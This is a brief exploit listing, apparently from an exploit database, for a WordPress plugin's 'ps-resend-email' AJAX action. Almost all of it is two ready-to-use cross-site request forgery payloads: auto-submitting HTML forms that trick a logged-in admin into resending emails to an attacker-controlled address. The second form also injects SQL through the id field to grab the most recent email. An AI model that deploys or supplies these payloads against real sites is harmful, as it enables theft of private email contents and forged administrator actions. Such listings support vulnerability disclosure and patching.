## https://sploitus.com/exploit?id=WPEX-ID:542CAA40-B199-4397-90BB-4FDB693EBB24
Make a logged in admin open a page containing the HTML code below
To make them resend the email with ID 1 to an attacker controlled address:
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="text" name="action" value="ps-resend-email">
<input type="text" name="id" value="1">
<input type="text" name="to" value="attacker@email.com">
<input type="submit" value="submit">
</form>
</body>
To make them resend the last sent email to an attacker controlled address (using an SQL injection):
<body onload="document.forms[0].submit()">
<form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
<input type="text" name="action" value="ps-resend-email">
<input type="text" name="id" value="0 OR 1=1 ORDER by id DESC LIMIT 1">
<input type="text" name="to" value="attacker@email.com">
<input type="submit" value="submit">
</form>
</body>